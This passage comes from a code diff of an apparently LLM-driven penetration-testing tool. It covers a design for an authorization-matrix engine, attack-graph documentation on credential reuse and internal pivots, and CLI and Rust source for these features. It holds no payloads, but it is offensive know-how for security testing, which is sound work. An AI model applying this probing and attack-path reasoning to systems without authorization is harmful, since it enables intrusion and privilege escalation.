if ev.map_or(false, |e| !e.matrix.is_empty() || e.oracle.is_some()) {
return AuthzMatrixValidator.validate(f, ev.unwrap());
}
```
So any finding that arrives with matrix/oracle evidence is judged by the matrix
rule regardless of how the agent labeled it.
### Verdict logic
```rust
impl CweValidator for AuthzMatrixValidator {
fn name(&self) -> &'static str { "authz-matrix" }
fn cwes(&self) -> &'static [&'static str] { &["862","863","285"] }
fn validate(&self, _f: &Finding, ev: &Evidence) -> Verdict {
// (A) Oracle path — non-destructive proof for write routes.
if let Some(o) = &ev.oracle {
if is_auth_denied(&o.denied) { // 401/403
return Verdict::Rejected("authorization enforced — denied identity got 401/403".into());
}
if looks_like_login_or_public(&o.denied) {
return Verdict::Rejected("response is a login page / public view, not the protected handler".into());
}
// Denied identity reached business logic iff it got the SAME
// business-level outcome as the privileged control for a
// non-existent id (e.g. both "record not found"/422/409, or both 2xx).
if reached_business_logic(&o.denied) && same_business_outcome(&o.denied, &o.privileged) {
return Verdict::Confirmed(format!(
"write route reached business logic as a should-be-denied identity \
(non-existent id → {} like the privileged control, not 403)", o.denied.status));
}
return Verdict::NeedsReview("ambiguous — generic 5xx/WAF/empty; cannot tell authz from error".into());
}
// (B) Matrix path — read/data routes across identities.
let denied_but_served: Vec<&MatrixProbe> = ev.matrix.iter()
.filter(|p| p.expect == Expect::Deny)
.filter(|p| p.exchange.is_success()
&& !looks_like_login_or_public(&p.exchange)
&& !is_empty_or_own_data(&p.exchange))
.collect();
if ev.matrix.iter().filter(|p| p.expect == Expect::Deny).count() == 0 {
return Verdict::NeedsReview("no should-be-denied identity in the matrix — nothing to prove".into());
}
match denied_but_served.first() {
Some(p) => Verdict::Confirmed(format!(
"identity '{}' (expected deny) was served the protected resource ({}, {} bytes)",
p.identity, p.exchange.status, p.exchange.len())),
None => Verdict::Rejected("every should-be-denied identity was correctly refused".into()),
}
}
}
```
Helper predicates (new, small, unit-tested):
- `is_auth_denied(x)` → `x.status == 401 || 403`.
- `reached_business_logic(x)` → `x.is_success()` OR a business-error status
(`404/409/422/400`) whose body carries a business signature
(`not found`/`invalid state`/`does not exist`), NOT an auth signature
(`forbidden`/`unauthorized`/`access denied`).
- `same_business_outcome(a, b)` → same status class AND same business-error
signature (so the denied call got identical treatment to the privileged one).
- `looks_like_login_or_public(x)` → body matches a login form / redirect to
`/login` / equals the recorded unauthenticated baseline.
- `is_empty_or_own_data(x)` → empty body, or body contains only the denied
identity's own identifier (so it is not cross-boundary).
These guards encode the FP rules already in the agent markdown: a 200 login
page, a response equal to the public view, a 403, or own-data-only is **not** a
finding; a write 200 without read-back persistence is `needs-review`.
## 3. Identity fixtures (`scope.rs`/`creds.rs`)
Extend the `creds.yaml` schema (already loaded by the creds parser) with an
`identities` block and seed values, so the engine has multiple role sessions and
valid domain inputs to pass business validation:
```yaml
identities:
- label: admin # free-form, used in evidence
role: admin
auth: { header: "Authorization", value: "Bearer <admin-token>" }
tier: high
- label: readonly
role: viewer
auth: { header: "Authorization", value: "Bearer <viewer-token>" }
tier: readonly # expected Deny on write routes
- label: tenantB
role: user
auth: { cookie: "session=<other-tenant>" }
tier: tenant
- label: anonymous
auth: {} # no credential; expected Deny on protected routes
tier: none
sample_values: # valid domain inputs to get past format gates
nfe_key: "35200114200166000187550010000000071000000017"
cnpj: "11222333000181"
known_ids: ["6531aa…", "6531bb…"] # real ids per identity for BOLA
```
New types:
```rust
pub struct Identity { pub label: String, pub role: String, pub tier: Tier,
pub auth: AuthMaterial }
pub enum Tier { High, ReadOnly, Tenant, None }
pub enum AuthMaterial { Header{name:String,value:String}, Cookie(String), Anonymous }
pub struct IdentitySet { pub identities: Vec<Identity>, pub samples: SampleValues }
```
`IdentitySet::expected(route, identity)` returns `Expect`: a write/decision
route expects `Deny` for `ReadOnly/None` and for `Tenant` on another tenant's
object; a protected read route expects `Deny` for `None`. This is the policy the
matrix diffs against. The engine never needs the app's real policy table —
"anonymous and read-only should not write" is the universal prior, and any
`Allow` observed where `Deny` was expected is the finding.
## 4. Engine (`authz_matrix.rs`, new)
```rust
pub struct Route { pub method: String, pub path: String, pub kind: RouteKind }
pub enum RouteKind { Read, Write } // Write = state-changing (POST/PUT/PATCH/DELETE, or a decision verb)
pub struct RouteInventory { pub routes: Vec<Route> }
impl RouteInventory {
/// Aggregate from everything recon already produced.
pub fn build(recon: &Recon, ids: &IdentitySet, http: &Http) -> Self { … }
// sources: OpenAPI/Swagger JSON, GraphQL introspection, JS-bundle route
// mining, an AUTHENTICATED crawl per identity (the readonly/admin crawls
// reveal backoffice routes anon never sees), and sensitive-path guessing.
}
pub struct MatrixResult { pub findings: Vec<(Finding, Evidence)> }
pub async fn run(inv: &RouteInventory, ids: &IdentitySet, http: &Http,
scope: &Scope, budget: &Budget) -> MatrixResult {
for route in dedupe_templates(&inv.routes) { // collapse /x/{id} variants
scope.check(&route)?; // existing guard: never out of scope
let privileged = replay(route, ids.highest(), http).await;
let mut ev = Evidence::default();
for id in ids.iter().filter(|i| i.tier != Tier::High) {
let expect = ids.expected(route, id);
match route.kind {
RouteKind::Read => {
let x = replay_read(route, id, &ids.samples, http).await;
ev.matrix.push(MatrixProbe{ identity:id.label.clone(), expect, exchange:x });
}
RouteKind::Write if expect == Expect::Deny => {
// 403-vs-business-error oracle: non-existent well-formed id,
// NEVER a real object → no mutation of real data.
let denied = replay_write_nonexistent(route, id, &ids.samples, http).await;
let privileged = replay_write_nonexistent(route, ids.highest(), &ids.samples, http).await;
ev.oracle = Some(OracleProbe{ denied, privileged });
}
_ => {}
}
budget.tick()?; // reasoning-budget governor
}
if ev.matrix.iter().any(|p| p.expect==Expect::Deny) || ev.oracle.is_some() {
findings.push((synth_finding(route, &privileged), ev));
}
}
}
```
Safety built in: writes only ever use a **non-existent** well-formed id, so the
oracle proves reachability without mutating real objects; `scope.check` (the
existing `scope.rs` guard) still gates every request; the budget governor caps
`routes × identities`; `dedupe_templates` collapses `/users/{id}` so the matrix
is O(routes) not O(objects).
## 5. Pipeline wiring (`pipeline.rs`)
Add an engine pass after recon + agent selection, before/alongside the exploit
agents (it is a deterministic engine, not an LLM agent, so it is cheap and
reproducible):
```rust
if identities.len() >= 2 || cfg.authz_matrix { // auto when ≥2 roles, or --authz-matrix
let inv = RouteInventory::build(&recon, &identities, &http);
let res = authz_matrix::run(&inv, &identities, &http, &scope, &budget).await;
for (mut f, ev) in res.findings {
let verdict = validation::apply(&mut f, Some(&ev)); // deterministic judge
emit_finding(f, ev, verdict).await; // same sink as agents
}
}
```
- Flag: `--authz-matrix on|off|auto` (auto = run when ≥2 identities loaded),
mirroring `--typesafe`.
- The synthesized findings carry `owasp = "A01:2025-Broken Access Control"`,
`cwe = "862"/"863"/"639"`, `stage = "privesc"`, and feed the attack graph as
`weakness` nodes on the affected endpoints, so the "systemic" pattern (one
module, many routes) is visible as a cluster.
## 6. Tests
- Keep `validation.rs:1895` disjointness green after the CWE split (add a case:
Idor owns `639/284`, AuthzMatrix owns `862/863/285`, no overlap).
- Unit-test `AuthzMatrixValidator`:
- oracle: denied 403 → Rejected; denied business-404 matching privileged → Confirmed; denied generic-500 → NeedsReview; denied login-page → Rejected.
- matrix: readonly 200 real body → Confirmed; anonymous 401 → Rejected; denied-but-empty → Rejected; denied-but-own-data → Rejected; no-deny-identity → NeedsReview.
- Golden run: a seeded app with a read-only role that can write; assert one
Confirmed per vulnerable write route and zero on the enforced ones.
## 7. Why this fits NeuroSploit's invariants
- Deterministic and model-independent: the verdict is computed from status/body
signatures, never a vote, so it holds across backends (the benchmark property).
- Absent evidence is never a pass: no deny-identity probe → `needs-review`.
- Non-destructive: the oracle uses non-existent ids; scope guard unchanged.
- Reuses `Exchange`/`Evidence`/`Verdict`/`judge`/report/attack-graph end to end.
## Effort estimate
- `Evidence` fields + types: ~0.5 day.
- `AuthzMatrixValidator` + helpers + tests: ~1 day.
- `IdentitySet`/creds schema: ~1 day.
- `RouteInventory` (reusing recon outputs): ~2–3 days (the crawl-per-identity is
the real work).
- `authz_matrix::run` + pipeline wiring + flag: ~1–2 days.
The validator and data model (the deterministic core) are the smallest and
highest-leverage slice and can ship first against agent-emitted matrix evidence,
before the engine crawls routes on its own.
```
+152
View File
@@ -0,0 +1,152 @@
# Graph memory & attack-path reasoning (Neo4j)
NeuroSploit keeps three graphs: the **knowledge graph** (what was learned about a
target, across runs), the **internal graph** (hosts, identities, credentials, the
AD credential loop) and the **chain links** (which finding hands which capability
to which). `graph_memory.rs` projects all three into one typed schema, reasons
over it, and — when configured — MERGEs it into Neo4j and reads accumulated paths
back.
It works without Neo4j. Every run writes `graph/` next to the report:
| file | what |
|---|---|
| `graph/attack-chains.md` | chains in the 11-field analyst format, plus next moves |
| `graph/graph.cypher` | idempotent MERGE script: `cypher-shell -a <uri> -u <user> -p <pw> -f graph.cypher` |
| `graph/graph.json` | nodes/edges as JSON |
| `graph/queries.cypher` | ready-made analyst queries |
## The graph is a phase of the test
The pipeline runs a **graph checkpoint** at each stage, in every mode (black-box,
grey-box, host/infra, container, mobile, AI):
| checkpoint | what goes in | what it changes |
|---|---|---|
| `recon` | recon surface (in-scope hosts, services, endpoints, tech, secret fingerprints) + this target's cross-run memory + saved internal graph + Neo4j paths | black-box selection adds **graph-directed agents** (e.g. SSRF → `ssrf_cloud`, authz/identities → `authorization_matrix`, yielded secret → `session_lifecycle`, PostgreSQL+SQLi → `postgres_superuser_rce`, datastore tech → `exposed_datastore`) |
| `validated` | the validated findings | every chaining agent sees the new chains |
| `chain round N` | each round's validated findings | footholds on the most valuable chains are expanded first |
| `final` | final findings (before secrets are masked) | Neo4j sync, report |
Each checkpoint publishes a **live context** that `operator_directives` adds to
every exploit and chaining prompt: the surface, the top chains with their status,
the next moves, and the graph discipline (report obtained credentials in
`secret`/`account`, dependencies in `chains_from`, unproven steps as hypotheses).
It also writes `graph/live-chains.md` and `graph/live.json` so the operator can
watch the graph evolve, and MERGEs the run's slice into Neo4j when configured.
**Dependency todolist** (`graph/todo.md`). Every unconfirmed chain is laid out
step by step: `done` when the graph holds evidence for the step, `ready` when every
earlier step is done, `blocked` otherwise. The graph *is* the persistent list, so
it survives rounds and restarts. The chaining rounds dispatch `ready` steps first,
one per foothold, each with the exact step to perform and an instruction not to
jump ahead; a step already attempted is not re-sent.
**Shared traces** (`traces/<agent>.md`). Each agent's transcript is written as it
finishes. Every prompt carries a structured digest of the other agents' traces
(endpoint paths, parameter names, error signatures, product versions, block
signals — never raw lines), fenced as untrusted data, plus the directory to
`grep` for full context.
**Wire-bound evidence** (always on, before validation). Each exchange an agent
reports is checked against recorded traffic (when the recording interceptor ran)
and re-sent by the harness itself through the scope-guarded replay engine
(non-mutating verbs only; identities only when their credentials were recorded).
When the wire reproduces the account, the harness's observation replaces it and
the validators judge real bytes (`[wire-verified]`). When it does not, the
disagreement is recorded and the finding cannot stand as confirmed. What cannot be
checked stays as reported and is counted as unverifiable.
Cross-run memory is scoped to the target: only the component reachable from this
target's asset node, through target-specific nodes, is used — another
engagement's history never enters this one's prompts.
## Using it
```bash
# During a run: chaining rounds get the graph's chains and next moves, and the
# result is pushed to Neo4j at the end.
export NEO4J_USER=neo4j NEO4J_PASSWORD='…'
neurosploit run https://app.example --neo4j bolt://localhost:7687
# After a run (offline, or with --push to MERGE + read back accumulated paths)
neurosploit graph <run-id|dir> [--internal internal-graph.json] [--push] [--top 10]
# Internal network: save the AD/host graph into the run, then reason over both
neurosploit internal --graph ad.json --from <node> --save runs/<id>/internal-graph.json
neurosploit graph <run-id>
```
Configuration: `--neo4j <uri>` or `NEO4J_URI` (`bolt://`, `neo4j://`, `neo4j+s://`
are mapped to the HTTP transactional endpoint on 7474/7473; `http(s)://` is used
as is). Credentials only from `NEO4J_USER` (or `NEO4J_USERNAME`),
`NEO4J_PASSWORD`, `NEO4J_DATABASE` — never from flags, never written to disk.
## Schema
Labels: Target, Asset, Host, IPAddress, Domain, Service, Endpoint, Technology,
Vulnerability, Finding, Evidence, Credential, Identity, Role, Permission, Secret,
ExploitAttempt, ValidationResult, AttackStep, AttackPath, BusinessImpact, Control,
Mitigation.
Relationships: HAS_ASSET, RESOLVES_TO, EXPOSES, RUNS, HOSTS, USES_TECH,
HAS_ENDPOINT, HAS_VULNERABILITY, HAS_FINDING, SUPPORTED_BY, OBSERVED_IN, REQUIRES,
ENABLES, YIELDS, CAN_ACCESS, HAS_PERMISSION, ESCALATES_TO, PIVOTS_TO, DEPENDS_ON,
VALIDATED_BY, MITIGATED_BY, IMPACTS, PART_OF_PATH.
Stable keys (MERGE): Host = target + host; Service = host + port + proto; Endpoint =
method + normalized URL (ids collapsed to `{id}`, query dropped); Vulnerability =
CWE/type + endpoint; Finding = target + type + host + evidence hash; Evidence =
hash of the observed exchange (write-once); Credential/Secret = salted fingerprint.
How web and internal meet: a finding whose evidence demonstrates code execution or
internal reach gets `AttackStep -CAN_ACCESS-> Host`. The internal graph's node for
the same host shares the key, so its credentials and pivots continue the path.
## Reasoning rules (enforced in code)
- **Local vs chain severity.** A chain is only scored above its findings' local
severity when it is `confirmed` — every finding confirmed by the validation
engine and every edge evidenced. Otherwise it keeps the local severity and states
the severity it would have once validated (`High — Critical once validated`).
- **Impact must be demonstrated.** An `IMPACTS` edge is confirmed only when the
evidence reached that rung: code execution needs a nonce in output or an
out-of-band callback; sensitive-data exposure needs sensitive data actually read.
"Could lead to RCE" stays `needs_validation`.
- **Derived links are hypotheses.** Capability-matched links between findings are
`needs_validation`; cross-run memory is never more than `needs_review`.
- **Status.** `confirmed` / `needs_validation` / `hypothesis` (rests on an
unconfirmed finding, an unproven node, or history).
- **Next moves.** The first unproven edge of the most valuable chains, yielded
credentials not yet tried against in-scope services (lockout-aware), code
execution not yet connected to the internal network, SSRF without a recorded
internal target. These feed the attack-chaining rounds, and footholds on the
most valuable chains are expanded first.
## Data minimisation
No raw secret, token, cookie, password, response body or model narrative becomes a
graph property. Secrets are fingerprints salted per installation
(`~/.neurosploit/graph-salt`, or `NEUROSPLOIT_GRAPH_SALT` — share one value across a
team that shares a Neo4j so credential reuse still correlates). Identities that
look like personal data are masked (`a***@corp.test`). Endpoints lose their query
strings. Internal credential nodes are named from the node id and kind, never from
the label. Labels and relationship types come from closed enums; all values are
statement parameters.
## Queries
See `graph/queries.cypher`. Examples:
```cypher
// Hypotheses still worth validating, best first
MATCH (p:AttackPath) WHERE p.status IN ['needs_validation','hypothesis']
RETURN p ORDER BY p.risk_score DESC;
// Credentials that reach privileged identities (internal)
MATCH path = (c)-[:CAN_ACCESS|HAS_PERMISSION|ESCALATES_TO*1..6]->(r)
WHERE (c:Credential OR c:Secret) AND (r:Role OR r:Identity) AND r.privileged = true
RETURN path;
```
The LLM-facing version of these rules is `agents_md/meta/graph_reasoning.md`.
+108 -2
View File
@@ -83,6 +83,14 @@ struct Cli {
/// exact same pipeline without it, so runs can be compared with/without. /// exact same pipeline without it, so runs can be compared with/without.
#[arg(long = "typesafe", global = true)] #[arg(long = "typesafe", global = true)]
typesafe: Option<String>, typesafe: Option<String>,
/// Authorization matrix engine: on|off|auto (auto runs when --creds carries
/// >=2 identities across >=2 privilege tiers). Deterministic, no model calls.
#[arg(long = "authz-matrix", global = true)]
authz_matrix: Option<String>,
/// Neo4j for the attack graph (bolt://host:7687 or http://host:7474).
/// Falls back to NEO4J_URI; credentials only via NEO4J_USER / NEO4J_PASSWORD.
#[arg(long = "neo4j", global = true)]
neo4j: Option<String>,
/// Decision backend for the calibrated System One layer: /// Decision backend for the calibrated System One layer:
/// typesafe (hosted API, needs TYPESAFE_API_KEY) or laya (local, free, /// typesafe (hosted API, needs TYPESAFE_API_KEY) or laya (local, free,
/// open-source — downloads the model on first use and keeps evidence on the /// open-source — downloads the model on first use and keeps evidence on the
@@ -178,7 +186,7 @@ enum Cmd {
#[arg(long = "revalidate-poc")] #[arg(long = "revalidate-poc")]
revalidate_poc: bool, revalidate_poc: bool,
/// Map findings onto compliance controls in the report: pci-dss, hipaa, /// Map findings onto compliance controls in the report: pci-dss, hipaa,
/// soc2 (repeatable or comma-separated). /// soc2, gdpr (repeatable or comma-separated).
#[arg(long = "compliance")] #[arg(long = "compliance")]
compliance: Vec<String>, compliance: Vec<String>,
/// Open a Jira card per finding (needs the jira integration enabled). /// Open a Jira card per finding (needs the jira integration enabled).
@@ -217,6 +225,24 @@ enum Cmd {
#[arg(long = "out")] #[arg(long = "out")]
out: Option<String>, out: Option<String>,
}, },
/// Attack graph for a finished run (web + internal network): attack chains
/// with local vs chain severity, next moves, a Cypher export — and, with
/// --push (or NEO4J_URI set), MERGE into Neo4j and reason over paths
/// accumulated across runs
Graph {
/// Run id (`ns-…`) or a path to the run directory.
run: String,
/// Internal-network graph JSON to merge (as saved by `internal --save`);
/// defaults to `<run>/internal-graph.json` when present.
#[arg(long = "internal")]
internal: Option<String>,
/// Push to Neo4j and read accumulated paths back.
#[arg(long = "push")]
push: bool,
/// How many chains to print.
#[arg(long = "top", default_value_t = 5)]
top: usize,
},
/// Verify a finished run's audit trail — the hash chain and, with --anchor, /// Verify a finished run's audit trail — the hash chain and, with --anchor,
/// the signed anchors that catch truncation and silent rebuilds. /// the signed anchors that catch truncation and silent rebuilds.
Audit { Audit {
@@ -835,6 +861,7 @@ async fn main() -> anyhow::Result<()> {
Cmd::Audit { run, anchor } => handle_audit(&base, &run, anchor)?, Cmd::Audit { run, anchor } => handle_audit(&base, &run, anchor)?,
Cmd::Traffic { run } => handle_traffic(&base, &run)?, Cmd::Traffic { run } => handle_traffic(&base, &run)?,
Cmd::Sarif { run, out } => handle_sarif(&base, &run, out.as_deref())?, Cmd::Sarif { run, out } => handle_sarif(&base, &run, out.as_deref())?,
Cmd::Graph { run, internal, push, top } => handle_graph(&base, &run, internal.as_deref(), push, top, cli.neo4j.as_deref()).await?,
Cmd::Assurance { run, verify } => handle_assurance(&base, &run, verify)?, Cmd::Assurance { run, verify } => handle_assurance(&base, &run, verify)?,
Cmd::Compliance { run, framework, include_leads } => handle_compliance(&base, &run, &framework, include_leads)?, Cmd::Compliance { run, framework, include_leads } => handle_compliance(&base, &run, &framework, include_leads)?,
Cmd::Poc { run, repeats, apply } => handle_poc(&base, &run, repeats, apply).await?, Cmd::Poc { run, repeats, apply } => handle_poc(&base, &run, repeats, apply).await?,
@@ -888,6 +915,9 @@ async fn main() -> anyhow::Result<()> {
cfg.sandbox = cli.sandbox.clone(); cfg.sandbox = cli.sandbox.clone();
cfg.revalidate_poc = revalidate_poc; cfg.revalidate_poc = revalidate_poc;
cfg.compliance = revalidate_split(&compliance); cfg.compliance = revalidate_split(&compliance);
cfg.authz_matrix = cli.authz_matrix.clone();
cfg.creds_file = creds.clone();
cfg.neo4j = cli.neo4j.clone();
if !models.is_empty() { if !models.is_empty() {
cfg.models = models; cfg.models = models;
} }
@@ -1787,6 +1817,82 @@ fn handle_traffic(base: &std::path::Path, run: &str) -> anyhow::Result<()> {
Ok(()) Ok(())
} }
async fn handle_graph(base: &std::path::Path, run: &str, internal: Option<&str>, push: bool, top: usize, neo4j: Option<&str>) -> anyhow::Result<()> {
use harness::graph_memory as gm;
let dir = resolve_run(base, run)?;
let findings = load_findings(&dir)?;
let target = std::fs::read_to_string(dir.join("meta.json"))
.ok()
.and_then(|t| serde_json::from_str::<serde_json::Value>(&t).ok())
.and_then(|v| v.get("target").and_then(|x| x.as_str()).map(String::from))
.unwrap_or_else(|| run.to_string());
let run_id = dir.file_name().and_then(|s| s.to_str()).unwrap_or("run").to_string();
let ipath = internal.map(std::path::PathBuf::from).unwrap_or_else(|| dir.join("internal-graph.json"));
let ig: Option<harness::internal::InternalGraph> = std::fs::read_to_string(&ipath).ok().and_then(|t| serde_json::from_str(&t).ok());
if internal.is_some() && ig.is_none() {
anyhow::bail!("{} is not a readable internal graph", ipath.display());
}
let mut b = gm::build(&target, &run_id, &findings, ig.as_ref(), None);
let neo = gm::Neo4j::resolve(neo4j).filter(|_| push || neo4j.is_some() || std::env::var("NEO4J_URI").is_ok());
if let Some(n) = &neo {
let mut pushed = b.clone();
let local = gm::chains(&pushed, 8, 50);
gm::record_paths(&mut pushed, &local, &run_id);
match n.push(&pushed, &run_id).await {
Ok((nn, ne)) => println!(" neo4j: merged {nn} node(s), {ne} relationship(s) → {}", n.label()),
Err(e) => println!(" neo4j: push failed ({e}) — continuing offline"),
}
match n.fetch_paths(&b.target_id, 500).await {
Ok(remote) => {
let before = b.edges.len();
b.absorb(remote);
println!(" neo4j: read back accumulated paths (+{} relationship(s))", b.edges.len().saturating_sub(before));
}
Err(e) => println!(" neo4j: read failed ({e})"),
}
}
let cs = gm::chains(&b, 8, 50);
let moves = gm::next_moves(&b, &cs, 12);
gm::record_paths(&mut b, &cs, &run_id);
let out = dir.join("graph");
std::fs::create_dir_all(&out)?;
std::fs::write(out.join("attack-chains.md"), gm::chains_markdown(&target, &cs, &moves))?;
std::fs::write(out.join("chains.json"), gm::chains_json(&cs, &moves))?;
let td = gm::todo(&b, &cs);
std::fs::write(out.join("todo.md"), gm::todo_markdown(&target, &td))?;
std::fs::write(out.join("todo.json"), gm::todo_json(&td))?;
std::fs::write(out.join("graph.cypher"), gm::export_cypher(&b, &run_id))?;
std::fs::write(out.join("graph.json"), gm::export_json(&b))?;
let confirmed = cs.iter().filter(|c| c.status == gm::Status::Confirmed).count();
println!(
" graph: {} node(s), {} relationship(s) · {} chain(s), {} confirmed{}",
b.nodes.len(),
b.edges.len(),
cs.len(),
confirmed,
if ig.is_some() { " · internal network merged" } else { "" }
);
for (i, c) in cs.iter().take(top).enumerate() {
println!(
" {}. [{}] {} — chain {}{} · conf {:.2}",
i + 1,
c.status.as_str(),
c.title,
c.chain_severity,
c.potential_severity.as_deref().map(|p| format!(" (→{p} if validated)")).unwrap_or_default(),
c.confidence
);
}
if !moves.is_empty() {
println!(" next moves:");
for m in moves.iter().take(top) {
println!(" - {m}");
}
}
println!(" → {}/attack-chains.md · graph.cypher · graph.json", out.display());
Ok(())
}
fn handle_sarif(base: &std::path::Path, run: &str, out: Option<&str>) -> anyhow::Result<()> { fn handle_sarif(base: &std::path::Path, run: &str, out: Option<&str>) -> anyhow::Result<()> {
let dir = resolve_run(base, run)?; let dir = resolve_run(base, run)?;
let findings = load_findings(&dir)?; let findings = load_findings(&dir)?;
@@ -1795,7 +1901,7 @@ fn handle_sarif(base: &std::path::Path, run: &str, out: Option<&str>) -> anyhow:
.and_then(|t| serde_json::from_str::<serde_json::Value>(&t).ok()) .and_then(|t| serde_json::from_str::<serde_json::Value>(&t).ok())
.and_then(|v| v.get("target").and_then(|x| x.as_str()).map(String::from)) .and_then(|v| v.get("target").and_then(|x| x.as_str()).map(String::from))
.unwrap_or_else(|| run.to_string()); .unwrap_or_else(|| run.to_string());
let doc = harness::sarif::to_string(&target, &findings); let doc = harness::sarif::to_string(&target, &harness::redact::for_people(&findings));
let dest = out.map(std::path::PathBuf::from).unwrap_or_else(|| dir.join("report.sarif")); let dest = out.map(std::path::PathBuf::from).unwrap_or_else(|| dir.join("report.sarif"));
std::fs::write(&dest, doc)?; std::fs::write(&dest, doc)?;
println!(" {} finding(s) -> SARIF 2.1.0 at {}", findings.len(), dest.display()); println!(" {} finding(s) -> SARIF 2.1.0 at {}", findings.len(), dest.display());
@@ -0,0 +1,477 @@
//! Authorization matrix engine.
//!
//! A deterministic pass that sweeps the discovered route surface against every
//! identity in `creds.yaml` and diffs what happened against what the access
//! policy says should happen. It produces ordinary [`Finding`]s carrying
//! [`Evidence::matrix`] / [`Evidence::oracle`], which the normal
//! [`crate::validation`] path judges — so CVSS grading, scope withholding and
//! the assurance bundle all apply unchanged.
//!
//! Two probes per route:
//! - **read routes** — replay as each should-be-denied identity; a protected
//! resource served to one of them is a function-level authorization flaw.
//! - **write routes** — the 403-vs-business-error oracle: a should-be-denied
//! identity and the privileged control both call the route with a well-formed
//! **non-existent** id, so reachability is proven without mutating real data.
//!
//! The engine never decides the verdict itself; it gathers evidence and lets
//! `validation::apply` judge, keeping the deterministic, model-independent
//! guarantee of the rest of the pipeline.
use crate::creds::{Creds, Identity, Tier};
use crate::scope::{Action, ScopePolicy};
use crate::types::Finding;
use crate::validation::{Evidence, Exchange, Expect, MatrixProbe, OracleProbe};
use std::future::Future;
/// Whether a route changes state. Decides read-matrix vs write-oracle.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum RouteKind {
Read,
Write,
}
/// One route to test. `url` is the full absolute URL as recon found it.
#[derive(Debug, Clone)]
pub struct Route {
pub method: String,
pub url: String,
pub kind: RouteKind,
}
impl Route {
pub fn new(method: &str, url: &str) -> Route {
let kind = if is_write_method(method) { RouteKind::Write } else { RouteKind::Read };
Route { method: method.to_uppercase(), url: url.to_string(), kind }
}
}
/// `true` for state-changing HTTP methods.
pub fn is_write_method(method: &str) -> bool {
matches!(method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH" | "DELETE")
}
/// The set of routes to sweep, deduplicated by method + path template.
#[derive(Debug, Default, Clone)]
pub struct RouteInventory {
pub routes: Vec<Route>,
}
impl RouteInventory {
/// Build from recon's `(method, url)` pairs, collapsing `/users/123` and
/// `/users/456` to a single template so the sweep is O(routes), not
/// O(objects).
pub fn from_endpoints(eps: &[(String, String)]) -> RouteInventory {
let mut seen: std::collections::HashSet<(String, String)> = std::collections::HashSet::new();
let mut routes = Vec::new();
for (method, url) in eps {
let m = method.to_uppercase();
let key = (m.clone(), template(url));
if seen.insert(key) {
routes.push(Route::new(&m, url));
}
}
RouteInventory { routes }
}
}
/// Replace id-shaped path segments with `{id}` so two instances of the same
/// route collapse to one.
pub fn template(url: &str) -> String {
let (head, path) = split_path(url);
let segs: Vec<String> = path
.split('/')
.map(|s| if looks_like_id(s) { "{id}".to_string() } else { s.to_string() })
.collect();
format!("{head}{}", segs.join("/"))
}
/// A path segment that is a numeric id, a UUID, or a 24-hex Mongo ObjectId.
fn looks_like_id(seg: &str) -> bool {
if seg.is_empty() {
return false;
}
let s = seg.split('?').next().unwrap_or(seg);
let all_digits = s.chars().all(|c| c.is_ascii_digit());
if all_digits && s.len() >= 1 {
return true;
}
let hex = s.chars().all(|c| c.is_ascii_hexdigit());
if hex && s.len() == 24 {
return true;
}
// UUID 8-4-4-4-12
let parts: Vec<&str> = s.split('-').collect();
if parts.len() == 5 {
let lens = [8, 4, 4, 4, 12];
if parts.iter().zip(lens).all(|(p, n)| p.len() == n && p.chars().all(|c| c.is_ascii_hexdigit())) {
return true;
}
}
false
}
/// Split `scheme://host[:port]` from the path (`/a/b`). Keeps the query out.
fn split_path(url: &str) -> (String, String) {
if let Some(idx) = url.find("://") {
let after = &url[idx + 3..];
if let Some(slash) = after.find('/') {
let head = &url[..idx + 3 + slash];
let path = &after[slash..];
return (head.to_string(), path.to_string());
}
return (url.to_string(), String::new());
}
(String::new(), url.to_string())
}
/// Rewrite the last id-shaped segment to a well-formed NON-EXISTENT id (zeros),
/// so a write route can be reached without touching a real object. If the route
/// has no id segment, append one.
pub fn with_nonexistent_id(url: &str) -> String {
let (head, path) = split_path(url);
let (path_only, query) = match path.split_once('?') {
Some((p, q)) => (p.to_string(), format!("?{q}")),
None => (path.clone(), String::new()),
};
let mut segs: Vec<String> = path_only.split('/').map(|s| s.to_string()).collect();
if let Some(pos) = segs.iter().rposition(|s| looks_like_id(s)) {
segs[pos] = nonexistent_like(&segs[pos]);
return format!("{head}{}{query}", segs.join("/"));
}
// No id in the path — append a sentinel ObjectId.
let sep = if path_only.ends_with('/') { "" } else { "/" };
format!("{head}{path_only}{sep}000000000000000000000000{query}")
}
/// A non-existent value shaped like the original id.
fn nonexistent_like(seg: &str) -> String {
if seg.len() == 24 && seg.chars().all(|c| c.is_ascii_hexdigit()) {
return "0".repeat(24);
}
if seg.split('-').count() == 5 {
return "00000000-0000-0000-0000-000000000000".to_string();
}
// Numeric: a very large value is far more likely to be unused than 0.
"999999999999".to_string()
}
/// Parse an identity's `Name: value` header into a `(name, value)` pair.
fn header_pair(id: &Identity) -> Option<(String, String)> {
let line = id.header_line()?;
let (n, v) = line.split_once(':')?;
Some((n.trim().to_string(), v.trim().to_string()))
}
/// Headers to send for an identity (empty for anonymous).
fn headers_for(id: &Identity) -> Vec<(String, String)> {
header_pair(id).into_iter().collect()
}
/// The single should-be-denied identity used for a write-route oracle: prefer
/// anonymous, then read-only, then any tenant.
fn pick_denied<'a>(creds: &'a Creds) -> Option<&'a Identity> {
let by = |t: Tier| creds.roles.iter().find(|r| r.tier_kind() == t);
by(Tier::None).or_else(|| by(Tier::ReadOnly)).or_else(|| by(Tier::Tenant))
}
/// Synthesize the candidate finding for a route (verdict comes later from
/// `validation::apply`).
fn synth_finding(route: &Route, kind_label: &str) -> Finding {
let mut id = std::collections::hash_map::DefaultHasher::new();
use std::hash::{Hash, Hasher};
(route.method.clone(), template(&route.url)).hash(&mut id);
Finding {
id: format!("authzmx-{:x}", id.finish()),
agent: "authz-matrix".into(),
title: format!("Broken authorization ({kind_label}) at {} {}", route.method, template(&route.url)),
cwe: "862".into(),
endpoint: route.url.clone(),
owasp: "A01:2025-Broken Access Control".into(),
stage: "privesc".into(),
exploitability: "moderate".into(),
..Default::default()
}
}
/// Run the matrix. `send(method, url, headers, body) -> Exchange` is the only IO
/// seam; the pipeline passes a reqwest-backed closure, tests pass a fake.
/// `max_requests` caps the sweep (the reasoning-budget governor's share).
pub async fn run<F, Fut>(
inv: &RouteInventory,
creds: &Creds,
scope: &ScopePolicy,
max_requests: usize,
send: F,
) -> Vec<(Finding, Evidence)>
where
F: Fn(String, String, Vec<(String, String)>, String) -> Fut,
Fut: Future<Output = Exchange>,
{
let mut out = Vec::new();
let mut budget = max_requests;
